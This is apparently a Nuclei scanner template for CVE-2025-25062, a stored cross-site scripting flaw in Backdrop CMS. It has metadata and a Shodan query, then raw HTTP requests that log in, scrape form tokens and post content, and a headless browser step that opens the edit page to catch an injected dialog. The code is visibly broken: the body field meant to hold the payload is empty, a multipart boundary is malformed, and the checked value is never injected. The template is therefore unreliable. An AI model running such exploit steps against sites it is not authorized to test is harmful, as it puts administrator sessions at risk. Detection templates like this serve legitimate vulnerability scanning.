id: CVE-2025-25062
info:
name: Backdrop CMS - Cross-Site Scripting
author: soonghee2
severity: medium
description: |
An XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It doesn't sufficiently isolate long text content when the CKEditor 5 rich text editor is used. This allows a potential attacker to craft specialized HTML and JavaScript that may be executed when an administrator attempts to edit a piece of content. This vulnerability is mitigated by the fact that an attacker must have the ability to create long text content (such as through the node or comment forms) and an administrator must edit (not view) the content that contains the malicious content. This problem only exists when using the CKEditor 5 module.
impact: |
Authenticated attackers with content creation permissions can craft malicious HTML and JavaScript in long text fields that executes when administrators edit the content through CKEditor 5, potentially stealing admin session cookies, credentials, or escalating privileges.
remediation: |
Update Backdrop CMS to version 1.28.5 or 1.29.3 or later that properly isolates long text content in CKEditor 5.
reference:
- https://github.com/XiaomingX/data-cve-poc/tree/main/2025/CVE-2025-25062
- https://nvd.nist.gov/vuln/detail/CVE-2025-25062
- https://www.tenable.com/cve/CVE-2025-25062/cpes
- https://feedly.com/cve/CVE-2025-25062
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 4.4
cve-id: CVE-2025-25062
cwe-id: CWE-79
epss-score: 0.36859
epss-percentile: 0.97234
cpe: cpe:2.3:a:backdropcms:backdrop:*:*:*:*:*:*:*:*
metadata:
max-request: 7
shodan-query: "Backdrop CMS"
tags: cve,cve2025,xss,stored,backdrop,headless,vuln
variables:
username: "{{username}}"
password: "{{password}}"
random_int: '{{rand_int(1,1000)}}'
http:
- raw:
- |
GET /?q=user/login HTTP/1.1
Host: {{Hostname}}
- |
POST /?q=user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
name={{username}}&pass={{password}}&form_build_id={{editor_login_form_build_id}}&form_id=user_login&op=Log+in
- |
GET /?q=accounts/{{username}} HTTP/1.1
Host: {{Hostname}}
- |
GET /?q=user/{{editor_user_id}}/edit HTTP/1.1
Host: {{Hostname}}
- |
GET /?q=node/add/post HTTP/1.1
Host: {{Hostname}}
- |
POST /?q=node/add/post HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=1f0d9f4b7e62edd3393c1761177bd48a
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="title"
{{randstr}}
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="field_tags[und]"
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="body[und][0][summary]"
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="body[und][0][value]"
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="body[und][0][format]"
filtered_html
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="files[field_image_und_0]"; filename=""
Content-Type: application/octet-stream
-1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="field_image[und][0][fid]"
0
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="field_image[und][0][display]"
1
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="changed"
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="form_build_id"
{{editor_login_form_build_id}}
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="form_token"
{{post_form_token}}
--1f0d9f4b7e62edd3393c1761177bd48a
Content-Disposition: form-data; name="form_id"
post_node_form
--1f0d9f4b7e62edd3393c1761177bd48a
extractors:
- type: regex
name: editor_login_form_build_id
group: 1
regex:
- 'name="form_build_id" value="([^"]+)"'
internal: true
- type: regex
name: editor_user_id
group: 1
regex:
- 'q=user/(\d+)/edit">Edit'
internal: true
- type: regex
name: editor_email
group: 1
regex:
- 'name="mail" value="([^"]+)"'
internal: true
- type: regex
name: post_form_build_id
group: 1
regex:
- 'name="form_build_id" value="([^"]+)"'
internal: true
- type: regex
name: post_form_token
group: 1
regex:
- 'name="form_token" value="([^"]+)"'
internal: true
- type: regex
name: exploit_node_id
group: 1
regex:
- 'Edit'
internal: true
headless:
- steps:
- args:
url: "{{BaseURL}}/?q=posts/{{randstr}}"
action: navigate
- action: waitload
- action: waitdom
- action:
args:
code: |
() => { document.querySelector('a[href*="q=node/"][href*="/edit"]').click(); }
- action: waitdialog
name: reflected_text_xss
args:
max-duration: 10s
matchers:
- type: dsl
dsl:
- reflected_text_xss == true
- reflected_text_xss_message == random_int
condition: and
extractors:
- type: dsl
dsl:
- reflected_text_xss_type
- reflected_text_xss_message
# digest: 4a0a00473045022100b1867d1be4230e14940e8b5423eb3fadc901a6989b6a099b831a342e2f210c3f02204f72151492bf11f5a8a98eca5c0046358a5272d9107ad9d550c5085d9ca2477f:922c64590222798bb761d5b6d8e72950